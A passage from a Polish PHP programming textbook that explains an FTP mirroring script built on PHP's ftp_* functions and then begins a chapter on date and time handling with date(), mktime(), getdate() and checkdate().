$wynik = @ftp_login($lacz, $uzytkownik, $haslo);

2
Plik dostępny pod adresem: ftp://ftp.helion.pl/przyklady/phmsv5.zip — przyp. red.
408 Część IV  Zaawansowane techniki PHP

if (!$wynik)
{
echo 'Błąd: Nie można zalogować się jako '.$uzytkownik;
ftp_quit($lacz);
exit;
}

echo 'Zalogowano jako '.$uzytkownik.'<br />';

// włączenie trybu pasywnego


ftp_pasv($conn, true);

// sprawdzenie dat plików w celu określenia konieczności uaktualnienia


echo 'Sprawdzanie daty pliku...<br />';
if(file_exists($pliklokalny))
{
$czaslokalny=filemtime($pliklokalny);
echo 'Plik lokalny zmodyfikowany';
echo date('G:i j-M-Y', $czaslokalny);
echo '<br />';
}
else
{
$czaslokalny=0;
}

$czaszdalny=ftp_mdtm($lacz, $plikzdalny);
if (!($czaszdalny >= 0))
{
// To nie oznacza, że plik nie istnieje, serwer może nie dostarczać czasu modyfikacji
echo 'Dostęp do czasu pliku zdalnego niemożliwy.<br />';
$czaszdalny=$czaslokalny+1; //zapewnienie uaktualnienia
}
else
{
echo 'Plik zdalny zmodyfikowany ';
echo date('G:i j-M-Y', $czaszdalny);
echo '<br />';
}

if(!($czaszdalny > $czaslokalny))


{
echo 'Kopia lokalna jest aktualna.<br />';
exit;
}

// pobieranie pliku
echo 'Pobieranie pliku z serwera...<br />';
$wp=fopen($pliklokalny, 'wb');

if(!$sukces=ftp_fget($lacz, $wp, $plikzdalny, FTP_BINARY))


{
echo 'Błąd: pobranie pliku niemożliwe';
fclose($wp);
ftp_quit($lacz);
exit;
}

fclose($wp);
echo 'Plik pobrany pomyślnie';
Rozdział 18.  Stosowanie funkcji sieci i protokołu 409

// zamknięcie połączenia z komputerem


ftp_quit($lacz);

?>
</body>
<html>

Wynik jednego z uruchomień powyższego skryptu jest przedstawiony na rysunku 18.4.

Rysunek 18.4.
Skrypt tworzący kopię
lustrzaną przez FTP
sprawdza, czy lokalna
wersja pliku jest
aktualna, i ewentualnie
pobiera nową

Skrypt ftplustro.php jest dość ogólny. Można zauważyć, że rozpoczyna się on od ustawienia
pewnych zmiennych:
$komp = 'apache.cs.utah.edu';
$uzytkownik = 'anonymous';
$haslo = 'ja@przyklad.com';
$plikzdalny = '/apache.org/httpd/httpd-2.4.23.tar.gz';
$pliklokalny = '/sciezka/do/plikow/httpd-2.4.23.tar.gz';

Zmienna $komp powinna zawierać nazwę serwera FTP, z którym ma nastąpić połączenie. Z kolei
$uzytkownik i $haslo odpowiadają nazwie użytkownika i hasłu, jakie zostaną podane przy logowaniu.

Wiele witryn FTP pozwala na anonimowe logowanie, czyli powszechnie dostępną nazwę użytkow-
nika, którą każdy może użyć do zalogowania. Nie wymaga się żadnego hasła, ale powszechnym
zwyczajem jest podawanie własnego adresu poczty elektronicznej, aby administratorzy systemu
mogli poznać pochodzenie swoich użytkowników. W powyższym skrypcie została zastosowana ta
konwencja.

Zmienna $plikzdalny zawiera ścieżkę do pliku, który ma zostać pobrany. W tym przypadku jest
to serwer Apache dla systemu Unix.

Zmienna $pliklokalny zawiera ścieżkę do pliku na lokalnym komputerze, w którym ma zostać prze-
chowany pobrany plik. Niezależnie od tego, w którym katalogu zostanie umieszczony pobierany
plik, PHP musi mieć możliwość zapisania w nim tego pliku. Bez względu na rodzaj systemu
operacyjnego przedstawiony skrypt zadziała tylko po uprzednim utworzeniu tego katalogu.
Co więcej, jeżeli konfiguracja systemu jest dość restrykcyjna, trzeba będzie się dodatkowo upew-
nić, czy skrypt ma prawo do zapisu. Zmienne te mogą być modyfikowane w celu zaadaptowania
skryptu do własnych potrzeb.
410 Część IV  Zaawansowane techniki PHP

Podstawowe etapy tego skryptu są identyczne jak te stosowane przy ręcznym pobieraniu pliku
przez FTP za pomocą wiersza poleceń:
1. Połączenie ze zdalnym serwerem FTP.
2. Logowanie (jako użytkownik lub anonimowe).
3. Sprawdzenie, czy plik zdalny został uaktualniony.
4. Jeżeli tak, pobranie go.
5. Zamknięcie połączenia FTP.

Każdy z tych etapów został poniżej dokładnie opisany.

Łączenie ze zdalnym serwerem FTP


Krok ten jest równoznaczny z zapisem:
ftp nazwakomputera

w wierszu poleceń platformy Windows lub Unix. W PHP jest on wykonany za pomocą nastę-
pującego kodu:
$lacz=ftp_connect($komp);
if(!$lacz)
{
echo 'Błąd: Nie można nawiązać połączenia z komputerem '. $komp;
exit;
}

echo 'Połączono z '. $komp.'<br />';

Funkcja wywoływana w tym skrypcie to ftp_connect(). Pobiera ona jako parametr nazwę kom-
putera, a zwraca uchwyt połączenia lub false, jeżeli połączenie nie powiodło się. Funkcja ta może
również pobrać numer portu komputera, z którym należy się połączyć, jako opcjonalny drugi para-
metr (nie został on zastosowany w powyższym skrypcie). Jeżeli numer portu nie zostanie podany,
domyślnym portem jest 21, czyli domyślny port FTP.

Logowanie się na serwerze FTP


Następnym etapem jest zalogowanie się jako konkretny użytkownik z określonym hasłem. Można
to osiągnąć, stosując funkcję ftp_login():
$wynik = @ftp_login($lacz, $uzytkownik, $haslo);
if (!$wynik)
{
echo 'Błąd: Nie można zalogować się jako '.$uzytkownik;
ftp_quit($lacz);
exit;
}
echo 'Zalogowano jako '.$uzytkownik.'<br />';

Funkcja ta pobiera trzy parametry — połączenie FTP (otrzymane z ftp_connect()), nazwę


użytkownika i hasło. Zwraca ona true, jeżeli użytkownik może zostać zalogowany, i false — jeżeli
nie. Należy zauważyć, że na początku wiersza został umieszczony symbol @ w celu stłumienia
błędów. Znalazł się on tam dlatego, że jeżeli użytkownik nie może zostać zalogowany, PHP
wyświetli ostrzeżenie w oknie przeglądarki. Błąd może zostać wychwycony w sposób przedsta-
wiony powyżej, przez sprawdzenie zmiennej $wynik i dostarczenie własnego, bardziej przyjaznego
dla użytkownika komunikatu o błędzie.
Rozdział 18.  Stosowanie funkcji sieci i protokołu 411

Należy zauważyć, że jeżeli próba zalogowania nie powiedzie się, połączenie FTP zostanie zamknięte
za pomocą funkcji ftp_quit(). Więcej informacji na ten temat znajduje się w dalszej części rozdziału.

Zanim przejdziemy do opisu wykonywania operacji na zdalnym systemie plików, chcielibyśmy zwró-
cić uwagę Czytelnika na funkcję ftp_pasv(), wywoływaną w poniższym wierszu kodu:
ftp_pasv($lacz, true);

W tym przypadku wywołanie to zapewnia, że będzie używany tryb pasywny; oznacza to, że
wszystkie połączenia danych będą inicjowane przez klienta (skrypt), a nie przez zdalny serwer FTP.
Gdyby tryb pasywny nie został włączony, mogłoby się okazać, że skryptowi nie uda się pomyśl-
nie przejść dalej niż do zalogowania się na zdalnym serwerze.

Sprawdzanie czasu modyfikacji pliku


Zakładając, że celem prezentowanego skryptu jest aktualizacja lokalnej wersji pliku, warto na jego
początku sprawdzić, czy plik tego wymaga. Nie jest bowiem konieczne pobieranie pliku, szczególnie
sporej wielkości, jeżeli jest on aktualny. Pozwala to uniknąć niepotrzebnego ruchu w sieci. Poniżej
znajduje się dokładny opis kodu sprawdzającego czas modyfikacji plików.

Właśnie czasy plików decydują o tym, że używane są funkcje FTP, a nie o wiele prostsze od nich
funkcje plikowe. Te ostatnie bez trudu radzą sobie z odczytywaniem i, w niektórych przypadkach,
również zapisywaniem plików za pośrednictwem interfejsów sieciowych, lecz większość funkcji
statusu, takich jak filemtime(), nie działa w sposób zdalny.

Na początku sprawdzamy istnienie lokalnej kopii pliku za pomocą funkcji file_exists(). Jeżeli
plik nie istnieje, pobranie go jest oczywiście konieczne. W przeciwnym wypadku należy pobrać czas
ostatniej modyfikacji pliku za pomocą funkcji filemtime() i przechować go w zmiennej, na przy-
kład $czaslokalny. Jeżeli plik nie istnieje, wartość zmiennej $czaslokalny zostaje ustawiona na 0,
tak aby był on „starszy” niż wszystkie możliwe czasy modyfikacji pliku zdalnego:
echo 'Sprawdzanie daty pliku...<br />';
if(file_exists($pliklokalny))
{
$czaslokalny=filemtime($pliklokalny);
echo 'Plik lokalny zmodyfikowany';
echo date('G:i j-M-Y', $czaslokalny);
echo '<br />';
}
else
$czaslokalny=0;

W ramach przypomnienia dodamy, że więcej informacji dotyczących funkcji file_exists()


i filemtime() można znaleźć, odpowiednio, w rozdziałach 2. i 17.

Po ustaleniu czasu lokalnego należy pobrać czas modyfikacji pliku zdalnego. Można to wykonać
za pomocą funkcji ftp_mdtm():
$czaszdalny=ftp_mdtm($lacz, $plikzdalny);

Pobiera ona dwa parametry — uchwyt połączenia FTP i ścieżkę do pliku zdalnego — oraz
zwraca uniksowy znacznik czasu modyfikacji pliku lub –1, jeżeli występuje jakiś błąd. Nie
wszystkie serwery FTP zapewniają tę własność, tak więc można nie otrzymać użytecznego wyniku
tej funkcji. W tym przypadku istnieje możliwość sztucznego ustawienia zmiennej $czaszdalny,
aby była „nowsza” niż zmienna $czaslokalny, poprzez dodanie do niej 1. Zapewni to wykonanie
próby pobrania pliku:
412 Część IV  Zaawansowane techniki PHP

if (!($czaszdalny >= 0))


{
// To nie oznacza, że plik nie istnieje, serwer może nie dostarczać czasu
// modyfikacji
echo 'Dostęp do czasu pliku zdalnego niemożliwy.<br />';
$czaszdalny=$czaslokalny+1; //zapewnienie uaktualnienia
}
else
{
echo 'Plik zdalny zmodyfikowany ';
echo date('G:i j-M-Y', $czaszdalny);
echo '<br />';
}

Kiedy dostępne są już oba czasy, można je porównać, aby zobaczyć, czy pobranie pliku jest
konieczne, czy nie:
if(!($czaszdalny > $czaslokalny))
{
echo 'Kopia lokalna jest aktualna.<br />';
exit;
}

Pobieranie pliku
Na tym etapie następuje próba pobrania pliku z serwera:
echo 'Pobieranie pliku z serwera...<br />';
$wp=fopen($pliklokalny, 'wb');
if(!$sukces=ftp_fget($lacz, $wp, $plikzdalny, FTP_BINARY))
{
echo 'Błąd: pobranie pliku niemożliwe';
ftpclose($wp);
ftp_quit($lacz);
exit;
}
fclose($wp);
echo 'Plik pobrany pomyślnie';

Jak opisaliśmy wcześniej, plik lokalny jest otwierany za pomocą funkcji fopen(). Po wykonaniu
tej czynności należy wywołać funkcję ftp_fget(), która dokonuje próby pobrania pliku i przecho-
wania go w pliku lokalnym. Funkcja ta pobiera cztery parametry. Pierwsze trzy są proste — połą-
czenie FTP, uchwyt pliku lokalnego oraz ścieżka do pliku zdalnego. Parametr czwarty to tryb FTP.

Istnieją dwa tryby przesyłania plików przez FTP: ASCII i binarny. Tryb ASCII jest stosowany do
przekazywania plików tekstowych (to znaczy takich, które składają się jedynie ze znaków ASCII),
a tryb binarny do przesyłania wszystkich innych typów plików. W trybie binarnym pliki są trans-
ferowane bez zmian, natomiast w trybie ASCII znaki powrotu karetki i nowego wiersza są prze-
kształcane w znaki odpowiednie dla używanego systemu operacyjnego (\n w Uniksie, \r\n
w Windows i \r w Macintoshu).

Biblioteka FTP PHP posiada dwie predefiniowane zmienne, FTP_ASCII i FTP_BINARY, które przed-
stawiają te dwa tryby. Należy wybrać tryb odpowiedni dla danego pliku i przekazać właściwą
zmienną funkcji ftp_fget() jako czwarty parametr. W przykładowym skrypcie jest przesyłany plik
gzip, tak więc został zastosowany tryb FTP_BINARY.

Funkcja ftp_fget() zwraca true, jeżeli pobranie powiedzie się, lub false, jeżeli wystąpi błąd.
W przykładzie wynik zostaje przechowany w zmiennej $sukces, po czym użytkownik otrzymuje
wiadomość o wyniku pobierania.
Rozdział 18.  Stosowanie funkcji sieci i protokołu 413

Po zakończeniu pobierania plik lokalny zostaje zamknięty za pomocą funkcji fclose().

Alternatywą dla ftp_fget() jest funkcja ftp_get(), która posiada następujący prototyp:
int ftp_get(int połączenie_ftp, string ścieżka_pliku_lokalnego,
string ścieżka_pliku_zdalnego, int tryb)

Funkcja ta działa w bardzo podobny sposób do ftp_fget(), lecz nie wymaga otwarcia pliku lokal-
nego. Przekazuje się jej systemową nazwę pliku lokalnego, w którym ma zostać wykonany zapis,
a nie jego uchwyt.

Należy zauważyć, że nie istnieje funkcja równoważna do polecenia FTP mget, które może być
zastosowane do pobierania wielu plików jednocześnie. Zamiast niego należy użyć kilku wywo-
łań ftp_fget() lub ftp_get().

Zamykanie połączenia
Po zakończeniu połączenia FTP należy je zamknąć za pomocą funkcji ftp_quit():
ftp_quit($lacz);

Funkcji tej należy przekazać uchwyt połączenia FTP.

Wysyłanie plików
Aby przebyć odwrotną drogę, to znaczy skopiować pliki z własnego serwera do komputera zdal-
nego, należy zastosować dwie funkcje, które zasadniczo są odwrotnościami ftp_fget() i ftp_get().
Funkcje te to ftp_fput() i ftp_put(). Posiadają one następujące prototypy:
int ftp_fput(int połączenie_ftp, string ścieżka_pliku_lokalnego,
int ścieżka_pliku_zdalnego, int tryb)
int ftp_put(int połączenie_ftp, string ścieżka_pliku_lokalnego,
string ścieżka_pliku_zdalnego, int tryb)

Parametry są identyczne jak w przypadku równoważnych funkcji _get.

Unikanie przekroczenia dopuszczalnego czasu


Jednym z problemów, z którymi można się zetknąć podczas przesyłania plików przez FTP, jest
przekroczenie maksymalnego czasu wykonania. Wiadomo, kiedy to następuje, ponieważ PHP
wyświetla wtedy wiadomość o błędzie. Błąd ten występuje najczęściej wtedy, gdy serwer pracuje
na wolnej lub zatłoczonej sieci, a także przy pobieraniu dużego pliku, takiego jak klip filmowy.

Domyślna wartość maksymalnego czasu wykonania wszystkich skryptów PHP jest zdefiniowana
w pliku php.ini i wynosi domyślnie 30 sekund. Wartość ta została zaprojektowana do wychwy-
tywania skryptów wyłamujących się spod kontroli. Jednak przy przesyłaniu plików przez FTP
i wolnym połączeniu — lub dużym pliku — przesłanie pliku może zabrać więcej czasu.

Na szczęście możliwa jest modyfikacja maksymalnego czasu wykonywania konkretnego skryptu


za pomocą funkcji set_time_limit(). Wywołanie tej funkcji zeruje maksymalną liczbę sekund,
przez którą skrypt może pracować, począwszy od momentu wywołania funkcji. Na przykład
wywołanie
set_time_limit(90);

pozwala skryptowi na działanie przez kolejne 90 sekund od momentu wywołania tej funkcji.
414 Część IV  Zaawansowane techniki PHP

Stosowanie innych funkcji FTP


W PHP istnieje kilka innych przydatnych funkcji FTP. Funkcja ftp_size() zwraca wielkość pliku
na zdalnym serwerze. Posiada ona następujący prototyp:
int ftp_size(int połączenie_ftp, string ścieżka_pliku_zdalnego)

Funkcja ta zwraca wielkość pliku zdalnego lub –1, jeżeli wystąpi błąd. Nie działa ona jednak na
niektórych serwerach FTP.

Jednym z użytecznych zastosowań funkcji ftp_size() jest obliczenie maksymalnego czasu wyko-
nania, ustawianego dla konkretnego transferu. Znając wielkość pliku i szybkość połączenia, można
w przybliżeniu obliczyć czas potrzebny na pobranie pliku i odpowiednio zastosować funkcję
set_time_limit().

Za pomocą następującego kodu można uzyskać wykaz plików mieszczących się w katalogu na
zdalnym serwerze WWW:
$wydruk=ftp_nlist($lacz, dirname($sciezka_katalogu));
foreach($wydruk as $nazwapliku)
{
echo $nazwapliku.'<br />’;
}

Kod ten korzysta z funkcji ftp_nlist(), aby uzyskać listę nazw plików w konkretnym katalogu.

Jeżeli chodzi o pozostałe funkcje FTP, to niemal wszystko, co można wykonać z wiersza poleceń
FTP, można też uzyskać za pomocą funkcji FTP, z wyjątkiem polecenia mget (pobrania wielu
plików). W jego przypadku można zastosować funkcję ftp_nlist(), aby uzyskać listę plików
i potem kolejno je pobierać.

Kompletną listę funkcji PHP odpowiadających poleceniom FTP można znaleźć w internetowej
dokumentacji PHP, dostępnej na stronie: http://php.net/manual/pl/book.ftp.php.

Propozycje dalszych lektur


W tym rozdziale opisaliśmy liczne zastosowania i, jak można się spodziewać, w sieci znajduje
się wiele informacji na ten temat. W celu uzyskania informacji na temat konkretnych protokołów
i ich działania można przestudiować dokumenty RFC dostępne pod adresem: http://www.rfc-editor.org/.

Interesujące mogą wydać się również niektóre informacje na temat protokołów World Wide
Web Consortium: http://www.w3.org/Protocols/.

Warto również zerknąć do książki opisującej TCP/IP — Computer Networks autorstwa Andrew
Tanenbauma3.

W następnym rozdziale
Teraz jesteśmy już gotowi, by przejść do kolejnego rozdziału książki. Będzie on poświęcony biblio-
tekom PHP zawierającym funkcje dat i funkcje kalendarzowe. Przedstawimy w nim sposoby
konwersji formatów wprowadzonych przez użytkownika na formaty MySQL i odwrotnie.

3
Polskie wydanie ukazało się pod tytułem Sieci komputerowe. Wydanie V (Helion 2012).
Rozdział 19.
Zarządzanie datą i czasem
W tym rozdziale opiszemy sprawdzanie i formatowanie daty i czasu oraz konwersje pomiędzy
formatami daty. Jest to szczególnie ważne podczas konwersji między formatami daty MySQL i PHP,
formatami daty Uniksa i PHP oraz dat wpisywanych przez użytkownika w formularzu HTML.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 uzyskiwanie informacji o dacie i czasie w PHP,
 konwersja pomiędzy formatami daty PHP i MySQL,
 obliczanie dat,
 stosowanie funkcji kalendarzowych.

Uzyskiwanie informacji o dacie i czasie w PHP


W rozdziale 1. omówiliśmy stosowanie funkcji date() w celu pobrania daty i czasu od PHP oraz ich
sformatowania. Poniżej funkcja ta i inne zostaną opisane bardziej szczegółowo.

Strefy czasowe
Można się spotkać z opiniami, że najprostszym sposobem radzenia sobie ze strefami czasowymi
w aplikacjach internetowych jest całkowite ich pominięcie, a to ze względu na nieuchronny atak
serca, który ich obsługa może wywołać u przeciętnego programisty. Jednak z drugiej strony zigno-
rowanie stref czasowych nie jest najlepszym sposobem obsługi dat i godzin w aplikacjach inter-
netowych, a zwłaszcza w tych, które mogą być stosowane przez użytkowników z całego świata.
Oczywiście istnieje możliwość przechowywania wszystkich informacji o datach i godzinach w jed-
nej, uniwersalnej strefie czasowej (takiej jak UTC) i konwertowania ich w razie konieczności
na informacje dotyczące strefy konkretnego użytkownika, przechowywania ich we własnej strefie
czasowej i analogicznego konwertowania (choć w tym przypadku sprawa może być nieco trud-
niejsza, jeśli nie wiadomo, w jakiej strefie czasowej działa serwer, bądź jeśli serwery są zlokalizo-
wane w innych strefach czasowych niż ta, w której przebywamy) czy też w końcu zapisywania
dat i godzin z wykorzystaniem strefy czasowej użytkownika.
W tym rozdziale Czytelnik pozna między innymi funkcje PHP date(), time() oraz strtotime(),
przy czym koniecznie należy zaznaczyć, że wykorzystują one strefę czasową określoną w pliku
php.ini przy użyciu dyrektywy konfiguracyjnej date.timezone. Domyślnie wartość tej dyrektywy
nie jest ustawiona, a PHP stosuje ustawienia domyślne. Zalecane jest jednak jawne ustawienie
wartości dyrektywy date.timezone w pliku php.ini na używanym serwerze WWW poprzez podanie
w niej jednej z dostępnych stref czasowych wymienionych na stronie http://php.net/manual/en/
timezones.php.
416 Część IV  Zaawansowane techniki PHP

W przypadku stosowania standardowej strefy czasowej, takiej jak UTC, do zapisywania wszyst-
kich dat i godzin w aplikacji można także wykorzystać wbudowaną funkcję MySQL o nazwie
UTC_TIMESTAMP(). Jednak nawet jeśli zastosujemy rozwiązanie polegające na zapisywaniu dat
i godzin z użyciem standardowego formatu, lecz będziemy chcieli konwertować je na bieżąco
na podstawie ustawień użytkownika, będziemy to mogli robić, korzystając z funkcji MySQL
o nazwie CONVERT_TZ().

Stosowanie funkcji date()


Jak stwierdzono wyżej, funkcja date() pobiera dwa parametry, w tym jeden z nich opcjonalnie.
Pierwszy z nich to łańcuch znaków określający format, a drugi, opcjonalny, to znacznik czasu
Uniksa. Jeżeli znacznik czasu nie zostanie podany, funkcja date() wyświetli aktualny czas i datę.
Zwraca ona sformatowany łańcuch znaków przedstawiający odpowiednią datę.

Typowe wywołanie funkcji date() jest następujące:


echo date('jS F Y');

Powyższy wiersz kodu wyświetli datę formatu 17th February 2015. Kody formatów akceptowane
przez funkcję date() są przedstawione w tabeli 19.1.

Tabela 19.1. Kody formatów dla funkcji PHP date()

Kod Opis
a Przed- lub popołudnie, przedstawione jako dwie małe litery, am lub pm
A Przed- lub popołudnie, przedstawione jako dwie wielkie litery, AM lub PM
B Czas internetowy Swatch, uniwersalny schemat czasu, reprezentujący bieżącą godzinę w formie liczby
z zakresu od 000 do 999. Więcej informacji na ten temat można znaleźć pod adresem:
http://www.swatch.com/en/internet-time
c Data w formacie ISO 8601. Data prezentowana jako RRRR-MM-DD. Duża litera T oddziela datę od godziny.
Godzina jest przedstawiana w formacie GG:MM:SS. Na końcu wyświetlana jest strefa czasowa w postaci
odchylenia od czasu Greenwich (GMT) — na przykład 2015-02-17T01:38:35+00:00
d Dzień miesiąca jako dwucyfrowa liczba z wiodącym zerem. Zasięg od 01 do 31
D Dzień tygodnia w trójznakowym skróconym formacie tekstowym. Zasięg od Mon do Sun
e Identyfikator strefy czasowej, taki jak UTC lub GMT
F Miesiąc roku w pełnym formacie tekstowym. Zasięg od January do December
g Godzina dnia w formacie dwunastogodzinnym bez zer wiodących. Zasięg od 1 do 12
G Godzina dnia w formacie dwudziestoczterogodzinnym bez zer wiodących. Zasięg od 0 do 23
h Godzina dnia w formacie dwunastogodzinnym z zerami wiodącymi. Zasięg od 01 do 12
H Godzina dnia w formacie dwudziestoczterogodzinnym z zerami wiodącymi. Zasięg od 01 do 23
i Minuty po pełnej godzinie z zerami wiodącymi. Zasięg od 00 do 59
I Czas letni, przedstawiony jako wartość boolowska. Zwróci ona 1, jeżeli aktualnie jest czas letni, i 0, jeżeli nie
j Dzień miesiąca jako liczba bez zer wiodących. Zasięg od 1 do 31
l Dzień tygodnia w pełnym formacie tekstowym. Zasięg od Monday do Sunday
L Rok przestępny, przedstawiony jako wartość boolowska. Zwróci ona 1, jeżeli aktualny rok jest rokiem
przestępnym, i 0, jeżeli nie
Rozdział 19.  Zarządzanie datą i czasem 417

Tabela 19.1. Kody formatów dla funkcji PHP date() (ciąg dalszy)

Kod Opis
m Miesiąc roku jako liczba dwucyfrowa z zerami wiodącymi. Zasięg od 01 do 12
M Miesiąc roku w trójznakowym skróconym formacie tekstowym. Zasięg od Jan do Dec
n Miesiąc roku jako liczba bez zer wiodących. Zasięg od 1 do 12
N Dzień tygodnia jako jedna cyfra; zgodny z ISO-8601. Zakres wartości wynosi od 1 (poniedziałek) do 7
(niedziela)
o Rok zgodnie z ISO-8601. Jest to taka sama wartość jak w przypadku kodu Y, tyle że jeżeli numer tygodnia
ISO (W) należy do roku poprzedniego lub następnego, wówczas ten właśnie rok zostanie użyty.
O Mierzona w godzinach różnica między bieżącą strefą czasową a Greenwich Mean Time, na przykład +1600
P Różnica pomiędzy bieżącą strefą czasową a GMT, z dwukropkiem rozdzielającym godziny i minuty, na
przykład +05:00
r Data i czas sformatowane zgodnie z dokumentem RFC822, na przykład Tue, 17 Feb 2015 01:41:42 +0000
s Sekundy po pełnej minucie z zerami wiodącymi. Zasięg od 00 do 59
S Przyrostek porządkowy dat w formacie dwuznakowym. Zależnie od poprzedzającej cyfry może być to
st, nd, rd lub th

t Całkowita liczba dni w miesiącu daty. Zasięg od 28 do 31


T Strefa czasowa serwera w formacie trójznakowym, na przykład GMT
U Całkowita liczba sekund od godziny 00:00:00 dnia 1 stycznia 1970 roku do czasu aktualnego. Tak zwany
znacznik czasu Uniksa
w Dzień tygodnia jako pojedyncza cyfra. Zakres od 0 (niedziela) do 6 (sobota)
W Numer tygodnia w roku, zakładając, że tydzień zaczyna się w poniedziałek, zgodnie z ISO-8601
y Rok w formacie dwucyfrowym, na przykład 15
Y Rok w formacie czterocyfrowym, na przykład 2015
z Dzień roku jako liczba. Zakres od 0 do 365
Z Offset aktualnej strefy czasowej w sekundach. Zakres od –43200 do 43200

Obsługa znaczników czasu Uniksa


Drugim parametrem funkcji date() jest znacznik czasu Uniksa. Większość systemów uniksowych
przechowuje aktualny czas i datę w 32-bitowej zmiennej typu integer, zawierającej liczbę sekund
od północy 1 stycznia 1970 GMT, znanej również jako UNIX Epoch. Nieznającym tego systemu
może się on wydać nieco dziwny, ale jest on standardem, a poza tym komputerom znacznie łatwiej
przychodzi przetwarzanie liczb całkowitych.

Znaczniki czasu Uniksa są skrótowym sposobem przechowywania daty i czasu, lecz warto zauwa-
żyć, że nie dotyczy ich problem roku 2000, w przeciwieństwie do niektórych innych skrótowych
formatów daty. Mogą w nich jednak wystąpić podobne problemy, ponieważ przy użyciu
32-bitowych liczb całkowitych można zaprezentować jedynie ograniczony zakres czasu. Jeżeli two-
rzone oprogramowanie będzie miało obsługiwać daty sprzed roku 1902 lub po roku 2038, może
to sprawić niemałe kłopoty.
418 Część IV  Zaawansowane techniki PHP

W niektórych systemach, w tym również w systemie Windows, zakres jest jeszcze bardziej ogra-
niczony. Znacznik czasu nie może mieć wartości ujemnej, zatem nie można używać znaczników
sprzed roku 1970. Trzeba o tym pamiętać, myśląc o przenośności kodu.

Niemal na pewno nie trzeba się martwić o to, czy napisany program będzie nadal używany w roku
2038. Znaczniki czasu nie mają z góry określonego rozmiaru, lecz zależą od rozmiaru typu long
języka C, który wynosi co najmniej 32 bity. Jeżeli napisany program będzie używany jeszcze w roku
2038, jest bardzo prawdopodobne, że kompilator będzie używał typu o większym rozmiarze.

Konwencja ta jest standardem systemu Unix, lecz mimo to format taki jest używany przez funkcję
date() i wiele innych funkcji nawet w PHP dla Windows. Jedyna różnica polega na tym, że w sys-
temie tym znacznik czasu musi mieć wartość dodatnią.

Aby przekonwertować czas i datę do znacznika czasu Uniksa, należy zastosować funkcję mktime().
Posiada ona następujący prototyp:
int mktime([int godzina[, int minuta[, int sekunda[, int miesiąc[,
int dzień[, int rok[, int czas_letni]]]]]]])

Same parametry nie wymagają dodatkowych wyjaśnień, ale podstawową pułapką, na którą należy
zwracać uwagę, jest ich kolejność — sprawia ona bowiem, że chcąc określić datę, nie można
pominąć parametrów określających czas. Jeśli czas nie ma znaczenia, to jako liczbę godzin,
minut i sekund można podać 0. Oczywiście można pomijać parametry z prawej strony ich listy.
Jeżeli funkcji nie przekaże się żadnych parametrów, zostaną one ustawione na wartości aktualne.
Tak więc wywołanie takie jak:
$znacznikczasu = mktime();
zwróci znacznik czasu Uniksa dla aktualnej daty czasu (choć takie wywołanie spowoduje wygene-
rowanie ostrzeżenia E_STRICT, jeśli pozwala na to obecnie wybrany poziom raportowania błędów).
Podobny rezultat można uzyskać, używając następującego wywołania:
$znacznikczasu = time();

Funkcja time() nie przyjmuje żadnych parametrów i zawsze zwraca znacznik czasu Unix dla ak-
tualnej daty i godziny.

Kolejną opcją jest funkcja date(), o której już wspominano. Łańcuch formatujący "U" oznacza
znacznik czasu. Poniższa instrukcja odpowiada dwóm zaprezentowanym powyżej:
$znacznikczasu=date("U");

Funkcji mktime() można przekazać rok w formacie dwu- lub czterocyfrowym. Wartości dwucy-
frowe od 0 do 69 zostaną zinterpretowane jak lata od 2000 do 2069, a wartości od 70 do 99 — jako
lata od 1970 do 1999.

Poniżej znajduje się kilka dodatkowych przykładów ilustrujących działanie funkcji mktime():
$czas = mktime(12, 0, 0);
oznacza południe bieżącego dnia;
$czas = mktime(0,0,0,1,1);
to pierwszy stycznia bieżącego roku. Warto zauważyć, że parametr wskazujący północ jest okre-
ślany przez liczbę 0 zamiast 24.

Funkcji mktime() można również używać wraz z prostymi działaniami arytmetycznymi. Na przykład
$czas = mktime(12,0,0,$pon,$dzien+30,$rok);
Rozdział 19.  Zarządzanie datą i czasem 419

spowoduje dodanie 30 dni do daty wskazanej przez poszczególne parametry, mimo że wyrażenie
($dzien+30) w większości przypadków będzie miało wartość większą niż liczba dni we wskaza-
nym miesiącu.

Aby wyeliminować problemy związane z czasem letnim i zimowym, najlepiej jest używać godziny
12 zamiast godziny 0. Jeśli do północy dnia 25-godzinnego dodana zostanie wartość (246060),
dzień się nie zmieni. Dodanie tej samej wartości do południa zwróci godzinę 11 rano, lecz przy-
najmniej będzie to cały czas prawidłowy dzień.

Stosowanie funkcji getdate()


Inną użyteczną funkcją określającą datę jest funkcja getdate(), która posiada następujący prototyp:
array getdate([int znacznikczasu])

Pobiera ona znacznik czasu i zwraca tablicę asocjacyjną przedstawiającą części daty i czasu, jak
pokazano w tabeli 19.2.

Tabela 19.2. Pary klucz-wartość tablicy zwracanej przez funkcję getdate()

Klucz Wartość Klucz Wartość


seconds Sekundy, numeryczny year Rok, numeryczny
minutes Minuty, numeryczny yday Dzień roku, numeryczny
hours Godziny, numeryczny weekday Dzień tygodnia, pełny format tekstowy
mday Dzień miesiąca, numeryczny month Miesiąc, pełny format tekstowy
wday Dzień tygodnia, numeryczny 0 Numeryczny znacznik czasu
mon Miesiąc, numeryczny

Mając te pary informacji o dacie i godzinie w tablicy, łatwo można przetwarzać je w dowolne
wymagane formaty. Element 0 (znacznik czasu) może się wydawać bezużyteczny w tablicy, lecz
gdy funkcję getdate() wywoła się bez parametrów, zwróci ona bieżący znacznik czasu.

Wywołanie funkcji getdate() w następującym przykładowym kodzie:


<?php
$today=getdate();
print_r($today);
?>
zwróci wynik podobny do poniższego:
Array
(
[seconds] => 43
[minutes] => 7
[hours] => 2
[mday] => 17
[wday] => 2
[mon] => 2
[year] => 2015
[yday] => 47
[weekday] => Tuesday
[month] => February
[0] => 1424138863
)
420 Część IV  Zaawansowane techniki PHP

Informacje zapisane w zwracanej tablicy można wykorzystywać do wyświetlania daty użytkow-


nikom bądź też stosować je w innym miejscu skryptu.

Sprawdzanie poprawności dat przy użyciu funkcji checkdate()


Do sprawdzenia poprawności daty można zastosować funkcję checkdate(). Jest ona szczególnie
przydatna do sprawdzania dat tworzonych na podstawie informacji wprowadzonych przez użytkow-
nika. Funkcja checkdate() posiada następujący prototyp:
int checkdate(int miesiąc, int dzień, int rok)

Sprawdza ona, czy rok jest poprawną liczbą z zakresu od 0 do 32767, czy miesiąc jest liczbą z zakre-
su od 1 do 12 i czy dany dzień istnieje w danym miesiącu. Funkcja w trakcie sprawdzania poprawno-
ści daty uwzględnia lata przestępne.

Na przykład wyrażenie
checkdate(9, 18, 2008);
zwróci true, a wyrażenie
checkdate(9, 31, 2008);
— nie.

Formatowanie znaczników czasu


